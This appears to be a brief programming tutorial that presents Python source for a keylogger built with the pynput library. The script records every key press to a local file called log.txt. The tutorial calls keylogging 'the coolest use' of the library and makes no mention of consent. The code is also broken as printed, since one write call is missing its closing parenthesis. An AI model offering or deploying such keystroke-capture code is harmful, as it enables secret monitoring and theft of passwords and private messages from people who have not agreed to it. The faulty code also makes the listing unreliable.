How to use pynput to make a Keylogger?

Last Updated : 12 Jul, 2025

Prerequisites: Python Programming Language
The package pynput.keyboard contains classes for controlling and monitoring the keyboard. pynput is the library of Python that can be used to capture keyboard inputs there the coolest use of this can lie in making keyloggers. The code for the keylogger is given below.

Modules needed

pynput: To install pynput type the below command in the terminal.

 pip install pynput

Below is the implementation:

Python3

# keylogger using pynput module
 
import pynput
from pynput.keyboard import Key, Listener
 
keys = []
 
def on_press(key):
    
    keys.append(key)
    write_file(keys)
    
    try:
        print('alphanumeric key {0} pressed'.format(key.char))
        
    except AttributeError:
        print('special key {0} pressed'.format(key))
         
def write_file(keys):
    
    with open('log.txt', 'w') as f:
        for key in keys:
            
            # removing ''
            k = str(key).replace("'", "")
            f.write(k
                    
            # explicitly adding a space after 
            # every keystroke for readability
            f.write(' ') 
             
def on_release(key):
                    
    print('{0} released'.format(key))
    if key == Key.esc:
        # Stop listener
        return False
 
 
with Listener(on_press = on_press,
              on_release = on_release) as listener:
                    
    listener.join()